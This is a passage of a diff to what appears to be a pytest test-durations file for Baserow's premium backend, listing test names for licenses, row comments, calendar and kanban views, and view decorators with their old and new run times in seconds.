"baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_group_by_field_not_in_compatible": 0.14073149903560989, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_group_by_field_not_in_table": 0.15689512601238675, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_max_group_bys_exceeded": 0.14618516599875875, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_max_series_exceeded": 0.15477720703347586, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_reset_after_table_change": 0.14595295902108774, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_series_agg_type_doesnt_exist": 0.14786912497947924, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_series_field_not_in_table": 0.1580450840119738, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_series_incompatible_aggregation_type": 0.15963912499137223, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_sort_by_field_outside_of_series_group_bys": 0.15637016596156172, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_sort_by_primary_field_no_group_by": 0.1455340830143541, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service_sort_by_primary_field_with_group_by": 0.14418870798544958, + "baserow_premium_tests/license/test_license_handler.py::test_add_active_licenses_to_settings": 0.27981895802076906, + "baserow_premium_tests/license/test_license_handler.py::test_add_user_to_license": 0.5278515840182081, + "baserow_premium_tests/license/test_license_handler.py::test_check_active_premium_license_for_workspace_with_license_pretending_to_be_site_wide": 0.16093404201092198, + "baserow_premium_tests/license/test_license_handler.py::test_check_active_premium_license_for_workspace_with_per_workspace_licenses": 0.09341400102130137, + "baserow_premium_tests/license/test_license_handler.py::test_check_active_premium_license_for_workspace_with_valid_license": 0.13464320902130567, + "baserow_premium_tests/license/test_license_handler.py::test_check_licenses_update_instance_wide": 0.05897158299922012, + "baserow_premium_tests/license/test_license_handler.py::test_check_licenses_with_authority_check": 0.07634320898796432, + "baserow_premium_tests/license/test_license_handler.py::test_check_licenses_without_authority_check": 0.34037258295575157, + "baserow_premium_tests/license/test_license_handler.py::test_decode_license_with_valid_license": 0.013940541975898668, + "baserow_premium_tests/license/test_license_handler.py::test_fetch_license_status_in_production_mode": 0.01816745803807862, + "baserow_premium_tests/license/test_license_handler.py::test_fetch_license_status_with_authority": 0.018735500023467466, + "baserow_premium_tests/license/test_license_handler.py::test_fetch_license_status_with_authority_invalid_response": 0.023621915985131636, + "baserow_premium_tests/license/test_license_handler.py::test_fetch_license_status_with_authority_unavailable": 0.02741679098107852, + "baserow_premium_tests/license/test_license_handler.py::test_fill_remaining_seats_in_license": 0.66153520802618, + "baserow_premium_tests/license/test_license_handler.py::test_fill_remaining_seats_in_license_admin_already_on_license": 0.5886593740142416, + "baserow_premium_tests/license/test_license_handler.py::test_get_public_key_debug": 0.013305958011187613, + "baserow_premium_tests/license/test_license_handler.py::test_get_public_key_production": 0.014030915015609935, + "baserow_premium_tests/license/test_license_handler.py::test_has_active_premium_license": 0.4085620840487536, + "baserow_premium_tests/license/test_license_handler.py::test_invalid_signature_decode_license": 0.013286792003782466, + "baserow_premium_tests/license/test_license_handler.py::test_premium_license_builder_usage_license_extra_info": 0.03151204204186797, + "baserow_premium_tests/license/test_license_handler.py::test_register_an_older_license": 0.13151787599781528, + "baserow_premium_tests/license/test_license_handler.py::test_register_license": 0.2608422920166049, + "baserow_premium_tests/license/test_license_handler.py::test_register_license_with_authority_check_does_not_exist": 0.11785608500940725, + "baserow_premium_tests/license/test_license_handler.py::test_register_license_with_authority_check_instance_id_mismatch": 0.1126073760096915, + "baserow_premium_tests/license/test_license_handler.py::test_register_license_with_authority_check_invalid": 0.11793974996544421, + "baserow_premium_tests/license/test_license_handler.py::test_register_license_with_authority_check_ok": 0.12500091700349003, + "baserow_premium_tests/license/test_license_handler.py::test_register_license_with_authority_check_updated": 0.12944987500668503, + "baserow_premium_tests/license/test_license_handler.py::test_remove_all_users_from_license": 0.5161706250510179, + "baserow_premium_tests/license/test_license_handler.py::test_remove_license": 0.23337274996447377, + "baserow_premium_tests/license/test_license_handler.py::test_remove_user_from_license": 0.43512049998389557, + "baserow_premium_tests/license/test_license_handler.py::test_unsupported_version_decode_license": 0.012988417001906782, + "baserow_premium_tests/license/test_license_handler.py::test_upgrade_license_by_register": 0.1317508740175981, + "baserow_premium_tests/license/test_license_models.py::test_premium_license_model_is_active": 0.10306529101217166, + "baserow_premium_tests/license/test_license_models.py::test_premium_license_model_properties": 0.01750766602344811, + "baserow_premium_tests/license/test_license_models.py::test_premium_license_model_save": 0.016161623992957175, + "baserow_premium_tests/license/test_license_models.py::test_premium_license_model_valid_payload": 0.015169666992733255, + "baserow_premium_tests/license/test_license_tasks.py::test_license_check": 0.019187458005035296, + "baserow_premium_tests/license/test_license_types.py::test_get_builder_usage_summary_for_multiple_stacked_premium_and_enterprise_licenses": 0.01725845897453837, + "baserow_premium_tests/license/test_license_types.py::test_get_builder_usage_summary_for_multiple_stacked_premium_licenses": 0.01713108303374611, + "baserow_premium_tests/license/test_license_types.py::test_get_builder_usage_summary_for_single_premium_license": 0.016637583990814164, + "baserow_premium_tests/premium/test_premium_installed.py::test_premium_app_installed": 0.015353542024968192, "baserow_premium_tests/row_comments/test_row_comments_actions.py::test_can_undo_creating_row_comments": 0.19481624999934866, "baserow_premium_tests/row_comments/test_row_comments_actions.py::test_can_undo_deleting_row_comments": 0.18968129199947725, "baserow_premium_tests/row_comments/test_row_comments_actions.py::test_can_undo_redo_creating_row_comments": 0.19362587599971448, "baserow_premium_tests/row_comments/test_row_comments_actions.py::test_can_undo_redo_deleting_row_comments": 0.20391416700022091, "baserow_premium_tests/row_comments/test_row_comments_actions.py::test_can_undo_redo_updating_row_comments": 0.21185187399987626, "baserow_premium_tests/row_comments/test_row_comments_actions.py::test_can_undo_updating_row_comments": 0.19410379199962335, - "baserow_premium_tests/row_comments/test_row_comments_actions.py::test_create_row_comment_action_type": 0.16859137499977805, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_cant_create_comment_without_premium_license": 0.15319554199959384, + "baserow_premium_tests/row_comments/test_row_comments_actions.py::test_create_row_comment_action_type": 0.15447662497172132, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_cant_create_comment_without_premium_license": 0.13798812599270605, "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_cant_create_comment_without_premium_license_for_group": 0.1639962919998652, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_cant_make_blank_comment_using_handler": 0.16204162600024574, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_cant_make_null_comment_using_handler": 0.1670275419992322, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_can_only_be_deleted_by_author": 0.4787015420006355, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_can_only_be_updated_by_author": 0.47147833299914055, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_cant_mention_user_outside_workspace": 0.4791965420017732, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_created_signal_called": 0.3432752079997954, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_deleted_signal_called": 0.3574015829999553, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_mentions_are_created": 0.4971470409991525, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_updated_signal_called": 0.34259341699998913, - "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_user_change_row_comments_notification_mode": 0.34001220999925863, - "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_all_interested_users_receive_the_notification_when_a_comment_is_posted": 0.9335321670005214, - "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_email_notifications_are_created_correctly": 0.5028340010003376, - "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_notification_creation_on_creating_row_comment_mention": 0.33386595899992244, - "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_notify_only_new_mentions_when_updating_a_comment": 0.361439041000267, - "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_only_users_with_access_to_the_table_receive_the_notification_for_new_comments": 0.683294874999774, - "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_row_comment_notification_type_can_be_rendered_as_email": 0.2880949579994194, - "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_user_receive_notification_if_subscribed_for_comments_on_a_row": 0.6996324160008953, - "baserow_premium_tests/row_comments/test_row_comments_trash_types.py::test_row_comment_can_be_trashed": 0.15407829100058734, - "baserow_premium_tests/row_comments/test_row_comments_trash_types.py::test_trashed_row_comment_can_be_restored": 0.15852887600067334, - "baserow_premium_tests/test_ical_utils.py::test_description_maker": 0.007566457999928389, - "baserow_premium_tests/test_ical_utils.py::test_ical_generation_with_date": 0.1880069579992778, - "baserow_premium_tests/test_ical_utils.py::test_ical_generation_with_datetime": 0.18755904099998588, - "baserow_premium_tests/test_ical_utils.py::test_ical_generation_with_datetime_with_tz": 0.18567287400037458, - "baserow_premium_tests/test_ical_utils.py::test_make_dtstamp[CET-test_input2-expected_output2-None]": 0.007681875000344007, - "baserow_premium_tests/test_ical_utils.py::test_make_dtstamp[UTC-test_input0-expected_output0-None]": 0.008351000000402564, - "baserow_premium_tests/test_ical_utils.py::test_make_dtstamp[UTC-test_input1-expected_output1-None]": 0.007952250001835637, - "baserow_premium_tests/test_ical_utils.py::test_make_dtstamp_invalid_inputs": 0.008298457998535014, - "baserow_premium_tests/trash/test_premium_trash_types.py::test_trash_restore_view": 0.29645758399965416, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_ical_utils_queries": 0.2364592919993811, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[basic date field test case-test_case0]": 0.02718237499902898, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[basic datetime field test case where user timezone changes result-test_case2]": 0.024202999000408454, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[basic datetime field test case-test_case1]": 0.02453887399951782, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[date field test case ignores user supplied timezone-test_case5]": 0.02455954200013366, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[datetime field test case when CET clocks go forwards-test_case4]": 0.025248791999729292, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[datetime field test case where user timezone overriden by field timezone-test_case3]": 0.02434054100103822, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_convert_date_field_to_another": 4.395678210000369, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_created": 0.1707331659999909, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_date_field_same_table": 0.19170325100003538, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_all_fields": 0.1606135420006467, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_no_date_field": 0.14857083399874682, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_with_field_ids_to_check": 0.16098225000041566, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_with_hidden_and_visible_fields": 0.1613684989997637, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_with_hidden_date_field": 0.15147458300089056, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_without_date_field_option": 0.15397433399903093, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_visible_fields_options_hidden_date_field": 0.16273183500015875, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_visible_fields_options_no_date_field": 0.1617102080017503, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_visible_fields_options_visible_date_field": 0.1589187920008044, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_visible_fields_options_without_date_field_option": 0.16727391699987493, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_hierarchy": 0.16351983300046413, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_ical_feed_dates": 0.20506079199913074, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_ical_feed_timestamps": 0.2065409169999839, - "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_import_export": 0.15920320799978072, - "baserow_premium_tests/views/test_calendar_view_type.py::test_can_undo_redo_update_calendar_view": 0.1932373750005354, - "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_backwards_to_from": 0.007751082001050236, - "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_crossing_one_midnight_with_tz": 0.0076557080010388745, - "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_crossing_two_midnights_with_tz": 0.008339958001670311, - "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_for_dates": 0.008591832998718019, - "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_same_date_with_tz": 0.007539958000052138, - "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_same_date_without_tz": 0.007604540998727316, - "baserow_premium_tests/views/test_calendar_view_type.py::test_to_midnight": 0.007912208000561805, - "baserow_premium_tests/views/test_calendar_view_type.py::test_to_midnight_with_tz": 0.007942875003209338, - "baserow_premium_tests/views/test_calendar_view_type.py::test_to_midnight_with_tz_on_dst_boundary": 0.00772566699924937, - "baserow_premium_tests/views/test_kanban_view_type.py::test_convert_card_cover_image_field_deleted": 0.16776220799965813, - "baserow_premium_tests/views/test_kanban_view_type.py::test_convert_card_cover_image_field_to_another": 0.1803330429993366, - "baserow_premium_tests/views/test_kanban_view_type.py::test_field_of_same_table_is_provided": 0.17732566600079736, - "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_all_fields": 0.1700096249987837, - "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_with_field_ids_to_check": 0.1621794160000718, - "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_with_hidden_and_visible_fields": 0.1630794180009616, - "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_with_hidden_single_select_and_cover_field_options": 0.1545155000003433, - "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_with_not_existing_single_select_and_cover": 0.15078949999951874, - "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_without_single_select_and_cover_field_options": 0.15279104100045515, - "baserow_premium_tests/views/test_kanban_view_type.py::test_get_visible_fields_options_with_hidden_single_select_and_cover": 0.16402291700069327, - "baserow_premium_tests/views/test_kanban_view_type.py::test_get_visible_fields_options_with_no_single_select_and_cover": 0.15340750100040168, - "baserow_premium_tests/views/test_kanban_view_type.py::test_get_visible_fields_options_with_non_existing_single_select_and_cover": 0.1710307510011262, - "baserow_premium_tests/views/test_kanban_view_type.py::test_get_visible_fields_options_with_visible_single_select_and_cover": 0.1703227500011053, - "baserow_premium_tests/views/test_kanban_view_type.py::test_import_export_kanban_view": 0.17507483400004276, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_cant_create_comment_without_premium_license_for_workspace": 0.15459875095984899, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_cant_make_blank_comment_using_handler": 0.14386066698352806, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_cant_make_null_comment_using_handler": 0.14235870796255767, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_can_only_be_deleted_by_author": 0.361692291975487, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_can_only_be_updated_by_author": 0.34875483403448015, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_cant_mention_user_outside_workspace": 0.47822866597562097, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_created_signal_called": 0.4028480410051998, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_deleted_signal_called": 0.39432083402061835, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_mentions_are_created": 0.49188375103403814, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_row_comment_updated_signal_called": 0.3828111669863574, + "baserow_premium_tests/row_comments/test_row_comments_handler.py::test_user_change_row_comments_notification_mode": 0.4025524170137942, + "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_all_interested_users_receive_the_notification_when_a_comment_is_posted": 0.7611449579999316, + "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_can_get_row_comment_notification_mode_from_row_metadata": 0.1406236669572536, + "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_email_notifications_are_created_correctly": 0.5264803330064751, + "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_notification_creation_on_creating_row_comment_mention": 0.27808379198540933, + "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_notify_only_new_mentions_when_updating_a_comment": 0.3246506249997765, + "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_only_users_with_access_to_the_table_receive_the_notification_for_new_comments": 0.7956250009883661, + "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_row_comment_notification_type_can_be_rendered_as_email": 0.20424083198304288, + "baserow_premium_tests/row_comments/test_row_comments_notification_types.py::test_user_receive_notification_if_subscribed_for_comments_on_a_row": 0.8233736669935752, + "baserow_premium_tests/row_comments/test_row_comments_trash_types.py::test_row_comment_can_be_trashed": 0.1373684999998659, + "baserow_premium_tests/row_comments/test_row_comments_trash_types.py::test_trashed_row_comment_can_be_restored": 0.1515954580390826, + "baserow_premium_tests/test_ical_utils.py::test_description_maker": 0.012723335006739944, + "baserow_premium_tests/test_ical_utils.py::test_ical_generation_with_date": 0.16816262499196455, + "baserow_premium_tests/test_ical_utils.py::test_ical_generation_with_datetime": 0.17247720799059607, + "baserow_premium_tests/test_ical_utils.py::test_ical_generation_with_datetime_with_tz": 0.1739672930270899, + "baserow_premium_tests/test_ical_utils.py::test_make_dtstamp[CET-test_input2-expected_output2-None]": 0.012725749984383583, + "baserow_premium_tests/test_ical_utils.py::test_make_dtstamp[UTC-test_input0-expected_output0-None]": 0.012855832988861948, + "baserow_premium_tests/test_ical_utils.py::test_make_dtstamp[UTC-test_input1-expected_output1-None]": 0.012752207985613495, + "baserow_premium_tests/test_ical_utils.py::test_make_dtstamp_invalid_inputs": 0.012570916005643085, + "baserow_premium_tests/trash/test_premium_trash_types.py::test_trash_restore_view": 0.20931666699470952, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_after_delete_field_set_date_field_to_none": 0.15378249998320825, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_ical_utils_queries": 0.28705083299428225, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[basic date field test case-test_case0]": 0.15316412399988621, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[basic datetime field test case where user timezone changes result-test_case2]": 0.14284695699461736, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[basic datetime field test case-test_case1]": 0.14492479202453978, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[date field test case ignores user supplied timezone-test_case5]": 0.1448622079915367, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[datetime field test case when CET clocks go forwards-test_case4]": 0.14049154100939631, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_timezone_test_cases[datetime field test case where user timezone overriden by field timezone-test_case3]": 0.14218933397205546, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_convert_date_field_to_another": 8.420099125010893, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_created": 0.14794412499759346, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_date_field_same_table": 0.17198095901403576, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_all_fields": 0.15444133299752139, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_no_date_field": 0.12202729197451845, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_with_field_ids_to_check": 0.14885733198025264, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_with_hidden_and_visible_fields": 0.1540736660535913, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_with_hidden_date_field": 0.13569687600829639, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_hidden_fields_without_date_field_option": 0.12209516699658707, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_visible_fields_options_hidden_date_field": 0.1412339580419939, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_visible_fields_options_no_date_field": 0.11779241598560475, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_visible_fields_options_visible_date_field": 0.14149645800353028, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_get_visible_fields_options_without_date_field_option": 0.1469355010194704, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_hierarchy": 0.13331829098751768, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_ical_feed_dates": 0.24760695797158405, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_ical_feed_timestamps": 0.16181216697441414, + "baserow_premium_tests/views/test_calendar_view_type.py::test_calendar_view_import_export": 0.14258349896408617, + "baserow_premium_tests/views/test_calendar_view_type.py::test_can_undo_redo_update_calendar_view": 0.17874000099254772, + "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_backwards_to_from": 0.01266458397731185, + "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_crossing_one_midnight_with_tz": 0.012704708002274856, + "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_crossing_two_midnights_with_tz": 0.012570876016980037, + "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_for_dates": 0.01268866698956117, + "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_same_date_with_tz": 0.012641957990126684, + "baserow_premium_tests/views/test_calendar_view_type.py::test_generate_per_day_intervals_same_date_without_tz": 0.012724376021651551, + "baserow_premium_tests/views/test_calendar_view_type.py::test_to_midnight": 0.012706748995697126, + "baserow_premium_tests/views/test_calendar_view_type.py::test_to_midnight_with_tz": 0.012860708986409009, + "baserow_premium_tests/views/test_calendar_view_type.py::test_to_midnight_with_tz_on_dst_boundary": 0.012690583971561864, + "baserow_premium_tests/views/test_kanban_view_type.py::test_convert_card_cover_image_field_deleted": 0.16018433301360346, + "baserow_premium_tests/views/test_kanban_view_type.py::test_convert_card_cover_image_field_to_another": 0.16544349899049848, + "baserow_premium_tests/views/test_kanban_view_type.py::test_field_of_same_table_is_provided": 0.1873233339865692, + "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_all_fields": 0.1507177920138929, + "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_with_field_ids_to_check": 0.146322999993572, + "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_with_hidden_and_visible_fields": 0.14621674999943934, + "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_with_hidden_single_select_and_cover_field_options": 0.1481229170167353, + "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_with_not_existing_single_select_and_cover": 0.10980029200436547, + "baserow_premium_tests/views/test_kanban_view_type.py::test_get_hidden_kanban_view_fields_without_single_select_and_cover_field_options": 0.1329298339842353, + "baserow_premium_tests/views/test_kanban_view_type.py::test_get_visible_fields_options_with_hidden_single_select_and_cover": 0.13648941696737893, + "baserow_premium_tests/views/test_kanban_view_type.py::test_get_visible_fields_options_with_no_single_select_and_cover": 0.12088045699056238, + "baserow_premium_tests/views/test_kanban_view_type.py::test_get_visible_fields_options_with_non_existing_single_select_and_cover": 0.14560370799154043, + "baserow_premium_tests/views/test_kanban_view_type.py::test_get_visible_fields_options_with_visible_single_select_and_cover": 0.1501217920158524, + "baserow_premium_tests/views/test_kanban_view_type.py::test_import_export_kanban_view": 0.160527958010789, + "baserow_premium_tests/views/test_kanban_view_type.py::test_newly_created_kanban_view": 0.16571350098820403, "baserow_premium_tests/views/test_kanban_view_type.py::test_newly_created_view": 0.18365987600009248, - "baserow_premium_tests/views/test_kanban_view_type.py::test_when_public_field_updated_number_of_queries_does_not_increase_with_amount_of_kanban_views": 0.3924987910004347, - "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_create_survey_form_with_premium_license": 0.1627565009994214, - "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_create_survey_form_with_premium_license_for_workspace": 0.15393725000012637, - "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_create_survey_form_without_premium_license": 0.14793887500036362, - "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_create_survey_form_without_premium_license_for_workspace": 0.14574620900020818, - "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_update_existing_survey_form_without_premium_license": 0.14805345799959468, - "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_update_survey_form_with_premium_license": 0.15444762500010256, - "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_update_survey_form_with_premium_license_for_workspace": 0.15353083399986645, - "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_update_survey_form_without_premium_license_for_workspace": 0.15089924899984908, - "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_update_to_survey_form_without_premium_license": 0.14534270799958904, - "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_create_decoration": 0.16742341600092914, - "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_delete_decoration": 0.16434129100071004, - "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_redo_create_decoration": 0.1692865820004954, - "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_redo_delete_decoration": 0.1713312930005486, - "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_redo_update_decoration": 0.17459954199966887, - "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_update_decoration": 0.16455845900054555, - "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_background_color_with_premium_license": 0.14909283399993, - "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_background_color_without_premium_license": 0.1484494160004033, - "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_background_color_without_premium_license_for_workspace": 0.1499610830005622, - "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_left_border_color_with_premium_license": 0.15311025000028167, - "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_left_border_color_without_premium_license": 0.15268333300082304, - "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_left_border_color_without_premium_license_for_workspace": 0.15010358299969084, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_color_filters_cannot_reference_non_existing_groups": 0.15747770800044236, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_conditional_color_value_provider_type_map_filter_from_config": 0.008580915999118588, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_conditional_color_with_premium_license": 0.15210804299931624, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_conditional_color_without_premium_license": 0.14705525000044872, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_conditional_color_without_premium_license_for_workspace": 0.14842762599982962, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_single_select_color_with_premium_license": 0.15815687400026945, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_single_select_color_without_premium_license": 0.1499835839995285, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_single_select_color_without_premium_license_for_workspace": 0.14980600000035338, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_field_deleted_w_decoration": 0.18200741600048786, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_field_type_changed_w_decoration": 0.18796299999939947, - "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_import_export_grid_view_w_decorator": 0.02955670699975599, - "baserow_premium_tests/views/test_premium_view_handler.py::test_aggregations_personal_ownership_type": 0.3000541669998711, - "baserow_premium_tests/views/test_premium_view_handler.py::test_create_view_personal_ownership_type": 0.15046158299992385, - "baserow_premium_tests/views/test_premium_view_handler.py::test_decorations_personal_ownership_type": 0.3013074159998723, - "baserow_premium_tests/views/test_premium_view_handler.py::test_delete_view_personal_ownership_type": 0.2904709999984334, - 